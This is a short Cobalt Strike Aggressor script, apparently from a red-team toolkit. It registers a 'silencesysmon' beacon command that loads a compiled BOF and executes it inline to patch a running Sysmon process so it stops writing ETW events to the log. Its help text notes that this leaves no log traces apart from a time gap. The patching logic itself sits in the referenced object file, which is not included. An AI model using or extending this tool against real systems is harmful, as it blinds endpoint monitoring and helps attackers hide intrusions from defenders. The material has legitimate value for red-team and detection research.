silencesysmon.cna 1.1 KB

123456789101112131415161718192021222324252627282930
  1. # author REDMED-X
  2. beacon_command_register(
  3. "silencesysmon", "Silence Sysmon by patching its capability to write ETW events to the log.",
  4. "INFO:\nSilence the Sysmon service by patching its capability to write ETW events to the log.\nRestarting the Sysmon service or the system itself will clear the patch and Sysmon will resume working normally.\nAltough this will not leave any traces in the log, there will be a time gap between the last and first new event.\n\nOPTIONS:\n[pid]: the process ID of the Sysmon service running on the system.\n\n" .
  5. "USAGE:\nsilencesysmon <sysmon pid>\n\n");
  6. alias silencesysmon {
  7. $bid = $1;
  8. $pid = $2;
  9. if ($pid eq "") {
  10. berror($bid, "Please specify the process ID of the Sysmon service.\n");
  11. return;
  12. }
  13. # Read in the right BOF file
  14. $handle = openf(script_resource("silencesysmon.o"));
  15. $data = readb($handle, -1);
  16. closef($handle);
  17. # Pack our arguments
  18. $arg_data = bof_pack($bid, "i", $pid);
  19. blog($bid, "Tasked to silence Sysmon..");
  20. beacon_inline_execute($bid, $data, "go", $arg_data);
  21. }